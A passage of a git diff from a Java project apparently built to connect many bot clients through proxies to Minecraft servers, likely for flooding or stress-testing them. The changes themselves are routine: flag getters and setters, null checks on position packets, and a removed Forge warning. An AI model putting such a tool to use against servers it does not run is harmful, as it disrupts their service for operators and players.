a/VersionSupport-P1_16_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_16_X/BotHandler.java +++ b/VersionSupport-P1_16_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_16_X/BotHandler.java @@ -29,9 +29,6 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe public void connect(Object c, Proxy proxy) { Client client = (Client) c; String userName = BotManager.clientList.get(c); - if (ConfigUtil.ForgeSupport) { - LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport"); - } client.getSession().addListener(new SessionListener() { public void packetReceived(PacketReceivedEvent e) { @@ -177,9 +174,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe } @Override - public void setClientFlag(Object client, String flag) { + public void setClientFlag(Object client, String flag, Object value) { Client c = (Client) client; - c.getSession().setFlag(flag, ""); + c.getSession().setFlag(flag, value); + } + + @Override + public Object getClientFlag(Object client, String flag) { + Client c = (Client) client; + return c.getSession().getFlag(flag); } @Override diff --git a/VersionSupport-P1_16_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_16_X/PacketHandler.java b/VersionSupport-P1_16_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_16_X/PacketHandler.java index 2ebdc56..517f6c4 100644 --- a/VersionSupport-P1_16_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_16_X/PacketHandler.java +++ b/VersionSupport-P1_16_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_16_X/PacketHandler.java @@ -165,6 +165,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { Session session = ((Client) client).getSession(); ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; + if (packet == null) { + return; + } double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); diff --git a/VersionSupport-P1_17_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_17_X/BotHandler.java b/VersionSupport-P1_17_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_17_X/BotHandler.java index 22b6bc0..7fca5e2 100644 --- a/VersionSupport-P1_17_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_17_X/BotHandler.java +++ b/VersionSupport-P1_17_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_17_X/BotHandler.java @@ -28,9 +28,6 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe public void connect(Object c, Proxy proxy) { TcpClientSession client = (TcpClientSession) c; String userName = BotManager.clientList.get(c); - if (ConfigUtil.ForgeSupport) { - LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport"); - } client.addListener(new SessionListener() { public void packetReceived(PacketReceivedEvent e) { @@ -176,9 +173,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe } @Override - public void setClientFlag(Object client, String flag) { + public void setClientFlag(Object client, String flag, Object value) { TcpClientSession c = (TcpClientSession) client; - c.setFlag(flag, ""); + c.setFlag(flag, value); + } + + @Override + public Object getClientFlag(Object client, String flag) { + TcpClientSession c = (TcpClientSession) client; + return c.getFlag(flag); } @Override diff --git a/VersionSupport-P1_17_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_17_X/PacketHandler.java b/VersionSupport-P1_17_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_17_X/PacketHandler.java index 93ec0e2..662a8d8 100644 --- a/VersionSupport-P1_17_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_17_X/PacketHandler.java +++ b/VersionSupport-P1_17_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_17_X/PacketHandler.java @@ -166,6 +166,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { TcpClientSession session = (TcpClientSession) client; ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; + if (packet == null) { + return; + } double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); diff --git a/VersionSupport-P1_18_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_18_X/BotHandler.java b/VersionSupport-P1_18_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_18_X/BotHandler.java index c0dc7e1..a494de5 100644 --- a/VersionSupport-P1_18_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_18_X/BotHandler.java +++ b/VersionSupport-P1_18_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_18_X/BotHandler.java @@ -33,9 +33,6 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe public void connect(Object c, Proxy proxy) { TcpClientSession client = (TcpClientSession) c; String userName = BotManager.clientList.get(c); - if (ConfigUtil.ForgeSupport) { - LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport"); - } client.addListener(new SessionListener() { @Override @@ -193,9 +190,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe } @Override - public void setClientFlag(Object client, String flag) { + public void setClientFlag(Object client, String flag, Object value) { TcpClientSession c = (TcpClientSession) client; - c.setFlag(flag, ""); + c.setFlag(flag, value); + } + + @Override + public Object getClientFlag(Object client, String flag) { + TcpClientSession c = (TcpClientSession) client; + return c.getFlag(flag); } @Override diff --git a/VersionSupport-P1_18_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_18_X/PacketHandler.java b/VersionSupport-P1_18_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_18_X/PacketHandler.java index 3b73b2d..947ee14 100644 --- a/VersionSupport-P1_18_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_18_X/PacketHandler.java +++ b/VersionSupport-P1_18_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_18_X/PacketHandler.java @@ -165,6 +165,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { TcpClientSession session = (TcpClientSession) client; ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket; + if (packet == null) { + return; + } double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); diff --git a/VersionSupport-P1_19/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19/BotHandler.java b/VersionSupport-P1_19/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19/BotHandler.java index bf0ef01..74f66e4 100644 --- a/VersionSupport-P1_19/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19/BotHandler.java +++ b/VersionSupport-P1_19/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19/BotHandler.java @@ -30,9 +30,6 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe public void connect(Object c, Proxy proxy) { TcpClientSession client = (TcpClientSession) c; String userName = BotManager.clientList.get(c); - if (ConfigUtil.ForgeSupport) { - LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport"); - } client.addListener(new SessionListener() { @Override @@ -182,9 +179,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe } @Override - public void setClientFlag(Object client, String flag) { + public void setClientFlag(Object client, String flag, Object value) { TcpClientSession c = (TcpClientSession) client; - c.setFlag(flag, ""); + c.setFlag(flag, value); + } + + @Override + public Object getClientFlag(Object client, String flag) { + TcpClientSession c = (TcpClientSession) client; + return c.getFlag(flag); } @Override diff --git a/VersionSupport-P1_19/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19/PacketHandler.java b/VersionSupport-P1_19/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19/PacketHandler.java index 0e397a8..32534bf 100644 --- a/VersionSupport-P1_19/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19/PacketHandler.java +++ b/VersionSupport-P1_19/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19/PacketHandler.java @@ -166,6 +166,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { TcpClientSession session = (TcpClientSession) client; ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket; + if (packet == null) { + return; + } double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); diff --git a/VersionSupport-P1_19_1_1_19_2/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19_1_1_19_2/BotHandler.java b/VersionSupport-P1_19_1_1_19_2/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19_1_1_19_2/BotHandler.java index 41d62ad..e5e5a4a 100644 --- a/VersionSupport-P1_19_1_1_19_2/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19_1_1_19_2/BotHandler.java +++ b/VersionSupport-P1_19_1_1_19_2/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19_1_1_19_2/BotHandler.java @@ -30,9 +30,6 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe public void connect(Object c, Proxy proxy) { TcpClientSession client = (TcpClientSession) c; String userName = BotManager.clientList.get(c); - if (ConfigUtil.ForgeSupport) { - LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport"); - } client.addListener(new SessionListener() { @Override @@ -182,9 +179,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe } @Override - public void setClientFlag(Object client, String flag) { + public void setClientFlag(Object client, String flag, Object value) { TcpClientSession c = (TcpClientSession) client; - c.setFlag(flag, ""); + c.setFlag(flag, value); + } + + @Override + public Object getClientFlag(Object client, String flag) { + TcpClientSession c = (TcpClientSession) client; + return c.getFlag(flag); } @Override diff --git a/VersionSupport-P1_19_1_1_19_2/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19_1_1_19_2/PacketHandler.java b/VersionSupport-P1_19_1_1_19_2/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19_1_1_19_2/PacketHandler.java index bfea939..916b336 100644 --- a/VersionSupport-P1_19_1_1_19_2/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19_1_1_19_2/PacketHandler.java +++ b/VersionSupport-P1_19_1_1_19_2/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19_1_1_19_2/PacketHandler.java @@ -167,6 +167,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { TcpClientSession session = (TcpClientSession) client; ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket; + if (packet == null) { + return; + } double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); diff --git a/VersionSupport-P1_19_3_1_20_1/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19_3_1_20_1/BotHandler.java b/VersionSupport-P1_19_3_1_20_1/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19_3_1_20_1/BotHandler.java index b259e39..c0df411 100644 --- a/VersionSupport-P1_19_3_1_20_1/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19_3_1_20_1/BotHandler.java +++ b/VersionSupport-P1_19_3_1_20_1/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19_3_1_20_1/BotHandler.java @@ -36,9 +36,6 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe public void connect(Object c, Proxy proxy) { TcpClientSession client = (TcpClientSession) c; String userName = BotManager.clientList.get(c); - if (ConfigUtil.ForgeSupport) { - LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport"); - } client.addListener(new SessionListener() { @Override @@ -188,9 +185,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe } @Override - public void setClientFlag(Object client, String flag) { + public void setClientFlag(Object client, String flag, Object value) { TcpClientSession c = (TcpClientSession) client; - c.setFlag(flag, ""); + c.setFlag(flag, value); + } + + @Override + public Object getClientFlag(Object client, String flag) { + TcpClientSession c = (TcpClientSession) client; + return c.getFlag(flag); } @Override diff --git a/VersionSupport-P1_19_3_1_20_1/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19_3_1_20_1/PacketHandler.java b/VersionSupport-P1_19_3_1_20_1/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19_3_1_20_1/PacketHandler.java index 496fee0..2931238 100644 --- a/VersionSupport-P1_19_3_1_20_1/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19_3_1_20_1/PacketHandler.java +++ b/VersionSupport-P1_19_3_1_20_1/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_19_3_1_20_1/PacketHandler.java @@ -167,6 +167,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { TcpClientSession session = (TcpClientSession) client; ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket; + if (packet == null) { + return; + } double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); diff --git a/VersionSupport-P1_20_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_20_X/BotHandler.java b/VersionSupport-P1_20_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_20_X/BotHandler.java index fc24315..e54eb8c 100644 --- a/VersionSupport-P1_20_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_20_X/BotHandler.java +++ b/VersionSupport-P1_20_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_20_X/BotHandler.java @@ -36,9 +36,6 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe public void connect(Object c, Proxy proxy) { TcpClientSession client = (TcpClientSession) c; String userName = BotManager.clientList.get(c); - if (ConfigUtil.ForgeSupport) { - LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport"); - } client.addListener(new SessionListener() { @Override @@ -188,9 +185,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe } @Override - public void setClientFlag(Object client, String flag) { + public void setClientFlag(Object client, String flag, Object value) { TcpClientSession c = (TcpClientSession) client; - c.setFlag(flag, ""); + c.setFlag(flag, value); + } + + @Override + public Object getClientFlag(Object client, String flag) { + TcpClientSession c = (TcpClientSession) client; + return c.getFlag(flag); } @Override diff --git a/VersionSupport-P1_20_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_20_X/PacketHandler.java b/VersionSupport-P1_20_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_20_X/PacketHandler.java index 0285295..c162c7e 100644 --- a/VersionSupport-P1_20_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_20_X/PacketHandler.java +++ b/VersionSupport-P1_20_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_20_X/PacketHandler.java @@ -172,6 +172,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { TcpClientSession session = (TcpClientSession) client; ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket; + if (packet == null) { + return; + } double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); diff --git a/VersionSupport-P1_7_X/VersionSupport-P1_7_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_7_X/BotHandler.java b/VersionSupport-P1_7_X/VersionSupport-P1_7_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_7_X/BotHandler.java index 82c44ae..73cd35c 100644 --- a/VersionSupport-P1_7_X/VersionSupport-P1_7_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_7_X/BotHandler.java +++ b/VersionSupport-P1_7_X/VersionSupport-P1_7_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_7_X/BotHandler.java @@ -160,9 +160,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe } @Override - public void setClientFlag(Object client, String flag) { + public void setClientFlag(Object client, String flag, Object value) { Client c = (Client) client; - c.getSession().setFlag(flag, ""); + c.getSession().setFlag(flag, value); + } + + @Override + public Object getClientFlag(Object client, String flag) { + Client c = (Client) client; + return c.getSession().getFlag(flag); } @Override diff --git a/VersionSupport-P1_7_X/VersionSupport-P1_7_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_7_X/PacketHandler.java b/VersionSupport-P1_7_X/VersionSupport-P1_7_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_7_X/PacketHandler.java index 4e14bc6..e776de0 100644 --- a/VersionSupport-P1_7_X/VersionSupport-P1_7_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_7_X/PacketHandler.java +++ b/VersionSupport-P1_7_X/VersionSupport-P1_7_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_7_X/PacketHandler.java @@ -195,6 +195,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { Session session = ((Client) client).getSession(); ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; + if (packet == null) { + return; + } double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); diff --git a/VersionSupport-P1_8_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_8_X/BotHandler.java b/VersionSupport-P1_8_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_8_X/BotHandler.java index fa46485..3dd9222 100644 --- a/VersionSupport-P1_8_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_8_X/BotHandler.java +++ b/VersionSupport-P1_8_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_8_X/BotHandler.java @@ -160,9 +160,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe } @Override - public void setClientFlag(Object client, String flag) { + public void setClientFlag(Object client, String flag, Object value) { Client c = (Client) client; - c.getSession().setFlag(flag, ""); + c.getSession().setFlag(flag, value); + } + + @Override + public Object getClientFlag(Object client, String flag) { + Client c = (Client) client; + return c.getSession().getFlag(flag); } @Override diff --git a/VersionSupport-P1_8_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_8_X/PacketHandler.java b/VersionSupport-P1_8_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_8_X/PacketHandler.java index d80cd2f..5e8c1c5 100644 --- a/VersionSupport-P1_8_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_8_X/PacketHandler.java +++ b/VersionSupport-P1_8_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_8_X/PacketHandler.java @@ -198,6 +198,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { Session session = ((Client) client).getSession(); ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; + if (packet == null) { + return; + } double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); diff --git a/VersionSupport-P1_9_X-1_12_1/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_9_X_1_12_1/BotHandler.java b/VersionSupport-P1_9_X-1_12_1/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_9_X_1_12_1/BotHandler.java index 8a10497..fe757ce 100644 --- a/VersionSupport-P1_9_X-1_12_1/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_9_X_1_12_1/BotHandler.java +++ b/VersionSupport-P1_9_X-1_12_1/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_9_X_1_12_1/BotHandler.java @@ -160,9 +160,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe } @Override - public void setClientFlag(Object client, String flag) { + public void setClientFlag(Object client, String flag, Object value) { Client c = (Client) client; - c.getSession().setFlag(flag, ""); + c.getSession().setFlag(flag, value); + } + + @Override + public Object getClientFlag(Object client, String flag) { + Client c = (Client) client; + return c.getSession().getFlag(flag); } @Override diff --git a/VersionSupport-P1_9_X-1_12_1/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_9_X_1_12_1/PacketHandler.java b/VersionSupport-P1_9_X-1_12_1/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_9_X_1_12_1/PacketHandler.java index c4f5971..fd98903 100644 --- a/VersionSupport-P1_9_X-1_12_1/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_9_X_1_12_1/PacketHandler.java +++ b/VersionSupport-P1_9_X-1_12_1/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_9_X_1_12_1/PacketHandler.java @@ -181,6 +181,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { Session session = ((Client) client).getSession(); ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; + if (packet == null) { + return; + } double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);